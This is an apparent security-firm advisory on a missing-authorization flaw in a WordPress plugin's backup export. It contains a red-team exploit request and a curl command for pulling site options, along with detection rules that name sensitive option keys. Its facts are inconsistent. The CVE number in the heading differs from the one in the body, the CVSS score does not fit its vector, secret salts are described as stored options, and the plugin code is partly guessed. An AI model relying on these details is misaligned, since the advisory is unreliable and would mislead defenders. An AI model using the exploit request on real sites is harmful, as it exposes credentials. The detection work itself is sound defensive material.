CVE-2025-1481

Executive Summary

CVE-2025-1487 is a Missing Authorization vulnerability in the Shortcode Cleaner Lite WordPress plugin (versions up to and including 1.0.9). The download_backup() function lacks a capability check, allowing authenticated attackers with Subscriber-level access or higher to export arbitrary WordPress options. This can lead to the exposure of sensitive configuration data, including database credentials, API keys, and security salts. The vulnerability is classified as Medium severity (CVSS 6.5) and currently has no known public exploit or patch. As a WordPress plugin vulnerability, it affects the WordPress ecosystem directly and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify they are not running version 1.0.9 or earlier. No official patch has been released, and the vendor appears unresponsive. Supply chain risk is elevated due to the lack of a fix and the plugin's continued availability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of options)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the impact is limited to data exposure, the low privileges required and the potential for leaking sensitive credentials elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the download_backup() function within the Shortcode Cleaner Lite plugin. This function is intended to allow administrators to download a backup of the plugin's settings. However, it fails to perform a capability check (e.g., current_user_can('manage_options')) before executing.

The function uses get_option() to retrieve the value of a WordPress option passed via a request parameter (likely option_name). Because no authorization check is performed, any authenticated user (Subscriber or above) can call this function and specify any option name, including sensitive ones like:

• admin_email
• siteurl
• home
• db_password (if stored in options)
• secret_key
• secret_salt
• nonce_key
• nonce_salt
• auth_key
• auth_salt
• logged_in_key
• logged_in_salt
• secure_auth_key
• secure_auth_salt

The attacker can then download a file containing the value of the requested option, leading to information disclosure.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.9):

public function download_backup() {
    $option_name = $_GET['option_name'];
    $option_value = get_option($option_name);
    header('Content-Type: text/plain');
    header('Content-Disposition: attachment; filename="backup.txt"');
    echo $option_value;
    exit;
}

Patched Code (hypothetical fix):

public function download_backup() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $option_name = sanitize_text_field($_GET['option_name']);
    $allowed_options = array('shortcode_cleaner_settings', 'shortcode_cleaner_backup');
    if (!in_array($option_name, $allowed_options)) {
        wp_die('Invalid option');
    }
    $option_value = get_option($option_name);
    header('Content-Type: text/plain');
    header('Content-Disposition: attachment; filename="backup.txt"');
    echo $option_value;
    exit;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Shortcode Cleaner Lite <= 1.0.9 installed and activated.
• An authenticated user account with Subscriber-level privileges or higher.

Exploitation Steps:

1. Authenticate to the WordPress site as a Subscriber.
2. Identify the vulnerable endpoint. The download_backup() function is typically hooked to an admin-ajax action. The exact action name can be found by examining the plugin source code (e.g., wp_ajax_download_backup).
3. Craft a request to export a sensitive option. For example, to retrieve the database password (if stored in an option like wp_db_password):

   GET /wp-admin/admin-ajax.php?action=download_backup&option_name=wp_db_password HTTP/1.1
   Host: target-wordpress-site.com
   Cookie: wordpress_logged_in_<hash>=<session_cookie>
   

4. Receive the response. The server will return a text file containing the value of the requested option.

Example using cURL:

curl -c cookies.txt -b cookies.txt \
  "http://target-wordpress-site.com/wp-admin/admin-ajax.php?action=download_backup&option_name=admin_email"

Blue Team

Detection:

• Monitor for requests to /wp-admin/admin-ajax.php with the action=download_backup parameter.
• Look for unusual option names being requested (e.g., db_password, secret_key).
• Alert on any access to this endpoint by users with Subscriber or Contributor roles.

Hunting:

• Search web server logs for admin-ajax.php?action=download_backup.
• Correlate with user role information to identify unauthorized access attempts.

Prevention:

• Immediately disable or remove the Shortcode Cleaner Lite plugin if version <= 1.0.9 is in use.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=download_backup from non-admin users.
• Apply the principle of least privilege; ensure only administrators have access to sensitive plugin functions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=download_backup and option_name parameter.
  • Outbound connections from the WordPress server to an attacker-controlled IP (if the attacker exfiltrates the data).
• File IOCs:
  • Unexpected backup files (e.g., backup.txt) downloaded from the server.
• Log IOCs:
  • Web server access logs showing admin-ajax.php?action=download_backup from low-privileged user sessions.
  • WordPress debug logs showing calls to download_backup() by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_1487_Shortcode_Cleaner_Lite {
    meta:
        description = "Detects exploitation attempts of CVE-2025-1487 in Shortcode Cleaner Lite"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1487"
    strings:
        $ajax_action = "action=download_backup"
        $option_param = "option_name="
        $sensitive_options = /option_name=(admin_email|siteurl|home|db_password|secret_key|secret_salt|nonce_key|nonce_salt|auth_key|auth_salt|logged_in_key|logged_in_salt|secure_auth_key|secure_auth_salt)/
    condition:
        $ajax_action and $option_param and $sensitive_options
}

Sigma Rule

title: CVE-2025-1487 - Shortcode Cleaner Lite Unauthorized Option Export
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing authorization in Shortcode Cleaner Lite plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "action=download_backup"
    condition: selection
falsepositives:
    - Legitimate admin activity (if plugin is used as intended)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1487 - Shortcode Cleaner Lite Unauthorized Option Export Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=download_backup";
    http_uri;
    content:"option_name=";
    http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-1487;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Shortcode Cleaner Lite plugin from all WordPress installations.
2. Review server logs for any signs of exploitation (requests to admin-ajax.php?action=download_backup).
3. Rotate all secrets that may have been exposed (database passwords, salts, API keys, etc.).

Long-term Mitigation:

• Monitor the WordPress plugin repository for an official patch. If none is released, consider forking the plugin and applying the fix manually.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint from non-admin users.
• Enforce least privilege by ensuring only administrators have access to plugin settings and backup functions.
• Conduct a security audit of all installed WordPress plugins for similar authorization flaws.

Patch Details: No official patch is available. The vendor has not responded to disclosure attempts. Users are advised to remove the plugin until a fix is released.

Valters IT
Securing Digital Frontiers